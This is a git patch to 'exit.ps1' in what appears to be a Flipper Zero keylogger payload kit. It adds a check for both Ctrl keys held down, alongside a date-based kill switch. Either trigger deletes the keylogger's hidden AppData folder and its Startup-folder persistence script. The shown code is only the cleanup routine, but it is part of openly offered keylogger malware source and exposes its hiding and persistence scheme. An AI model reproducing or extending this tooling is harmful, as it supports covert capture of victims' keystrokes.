From f1a463d5eaee28c747c6e83d00fea39f92c306e0 Mon Sep 17 00:00:00 2001
From: I-Am-Jakoby <Michaelryanchitwood@gmail.com>
Date: Sun, 25 Dec 2022 10:53:15 -0600
Subject: [PATCH] Update exit.ps1

---
 Payloads/Flip-Keylogger/exit.ps1 | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1
index dff630c..c86c34d 100644
--- a/Payloads/Flip-Keylogger/exit.ps1
+++ b/Payloads/Flip-Keylogger/exit.ps1
@@ -1,5 +1,10 @@
+Add-Type -AssemblyName WindowsBase
+Add-Type -AssemblyName PresentationCore
+$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
+$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
+
 while($true){
-if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){
+if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt") -or $Rctrl -and $Lctrl){
 sleep 10
 Remove-Item "$env:appdata\-locker" -Recurse -Force;
 Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"